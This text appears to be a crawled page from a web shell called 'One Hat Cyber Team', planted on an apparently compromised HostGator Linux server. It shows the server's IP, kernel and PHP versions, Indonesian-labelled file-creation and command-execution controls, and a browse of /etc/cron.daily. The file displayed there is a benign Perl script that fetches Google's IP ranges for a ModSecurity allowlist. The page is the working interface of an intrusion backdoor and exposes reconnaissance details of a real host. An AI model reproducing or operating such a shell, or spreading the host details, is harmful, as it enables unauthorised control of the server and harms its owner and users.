One Hat Cyber Team
Your IP :
3.145.14.25
Server IP :
162.241.123.123
Server :
Linux sh016.hostgator.in 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Server Software :
Apache
PHP Version :
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
etc
/
cron.daily
/
View File Name :
pull_googlebot_ips.pl
#!/usr/bin/perl use strict; use warnings; use LWP::Simple; use JSON; # URL of the JSON file containing Google's IP ranges my $url = "https://www.gstatic.com/ipranges/goog.json"; my $json_content = get($url); die "Failed to retrieve the JSON file from $url" unless defined $json_content; my $decoded_json = decode_json($json_content); my @ranges; foreach my $prefix (@{$decoded_json->{prefixes}}) { push @ranges, $prefix->{ipv4Prefix} if $prefix->{ipv4Prefix}; push @ranges, $prefix->{ipv6Prefix} if $prefix->{ipv6Prefix}; } die "No ip ranges returned" unless scalar @ranges > 1; open(my $fh, '>', '/etc/httpd/modsecurity.d/googlebot_ips.txt') or die "Could not open file 'googlebot_ips.txt' $!"; foreach my $range (@ranges){ print $fh "$range\n"; } close $fh;